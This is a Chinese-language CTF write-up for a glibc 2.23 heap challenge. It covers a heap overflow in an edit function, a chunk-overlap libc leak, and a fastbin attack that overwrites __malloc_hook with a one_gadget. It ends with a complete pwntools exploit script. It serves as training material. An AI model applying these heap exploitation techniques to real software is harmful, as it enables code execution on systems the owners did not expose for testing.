四个功能,保护全开
add
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| void __fastcall add(__int64 a1) { int i; int v2; void *v3;
for ( i = 0; i <= 15; ++i ) { if ( !*(24LL * i + a1) ) { printf("Size: "); v2 = sub_138C(); if ( v2 > 0 ) { if ( v2 > 4096 ) v2 = 4096; v3 = calloc(v2, 1uLL); if ( !v3 ) exit(-1); *(24LL * i + a1) = 1; *(a1 + 24LL * i + 8) = v2; *(a1 + 24LL * i + 16) = v3; printf("Allocate Index %d\n", i); } return; } } }
|
是利用calloc创建堆块的。
1 2 3 4
| void *malloc( size_t size );
void *calloc( size_t numElements, size_t sizeOfElement );
|
calloc分配的空间全部初始化为0
edit(漏洞点)
存在堆溢出
当edit后选择size时,如果比add时的size大,那么就会造成堆溢出。
delete
指针置空,不存在UAF
打印信息
思路
1 2 3 4 5
| add(0xa0) add(0x60) add(0x60) add(0xa0) add(0x10)
|
1 2 3 4 5 6
| delete(0) payload = p64(0)*12 + p64(0x190) +p64(0xb0) edit(2,0x70,payload)//作用是为了下面能正常的free掉这个堆块 delete(3)
delete(1)
|
首先free掉第一个堆块,第一个堆块的size是0xb1,如果将四个堆块的chunk_header修改一下
pre_size修改为0x190,size修改为0xb0。此时inuse位为0,所以在free第四个堆块时,会根据Inuse位判断前一个堆块是不是处于free状态,如果是处于free状态,那么就会根据pre_size来进行堆块合并。
所以当free掉第四个堆块后,会向前合并堆块,此时前四个堆块合并为一个大堆块,这个堆块是处于free状态,但是其中包含的chunk2和chunk3还是malloc状态
然后将chunk1 free掉进入到fastbins中。
此时需要思考如何才能泄露libc。
因为chunk1此时是个一个大的chunk,并且在unsortedbin中,那么如果分配一个大于fastbin并且处在smallbin中的size,那么就会从这个大chunk分割出来。
chunk3此时还在malloc状态中,所以可以控制malloc的size,将unsortedbin中的chunk调整到chunk3的位置,然后利用dump打印chunk3即可泄露libc
1 2 3 4 5 6
| add(0x110) dump(2)
libc_addr = l64() libc_base = libc_addr - 0x3c4b78 lg('libc_addr',libc_base)
|
接下来就是想办法修改__malloc_hook。
1
| edit(0,0xc0,p64(0)*21+p64(0x71)+p64(malloc_hook-0x23+libc_base)+p64(0))
|
因为chunk1的范围覆盖了chunk2,所以修改chunk2的fd为__malloc_hook附近的区域,然后调整一下地址
申请两次0x60就能申请到__malloc_hook
部分,然后利用edit将__malloc_hook
修改为onegadet即可
完整EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| from pwn import * from ctypes import * from libcfind import * import base64 import sys context(os='linux', arch='amd64', log_level='debug') context.terminal = ["tmux","splitw","-h"] debug = 1 if debug: p = process('./pwn') elf = ELF('./pwn') else: p = remote('node5.buuoj.cn', 26721) elf = ELF('./pwn')
s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096: p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096: sys.stdout.write(p.recv(num)) inter = lambda: p.interactive() l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00')) l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, '\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, '\x00')) int16 = lambda data: int(data, 16) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
libc = ELF('./libc-2.23.so') def add(size): rl("Command: ") sl('1') rl("Size: ") sl(str(size)) def edit(index,size,content): rl("Command: ") sl('2') rl("Index: ") sl(str(index)) rl("Size: ") sl(str(size)) rl("Content: ") sl(content) def delete(index): rl("Command: ") sl('3') rl("Index: ") sl(str(index)) def dump(index): rl("Command: ") sl('4') rl("Index: ") sl(str(index))
gdb.attach(p) add(0xa0) add(0x60) add(0x60) add(0xa0) add(0x10) delete(0) payload = p64(0)*12 + p64(0x190) +p64(0xb0) edit(2,0x70,payload) delete(3)
delete(1) add(0x110) dump(2)
libc_addr = l64() libc_base = libc_addr - 0x3c4b78 lg('libc_addr',libc_base)
onegadget = [0x45226,0x4527a,0xf03a4,0xf1247] malloc_hook = libc.sym['__malloc_hook']
edit(0,0xc0,p64(0)*21+p64(0x71)+p64(malloc_hook-0x23+libc_base)+p64(0)) pause() add(0x60) add(0x60) edit(3,27,'a'*0x13+p64(libc_base+onegadget[1])) add(0x10) inter()
|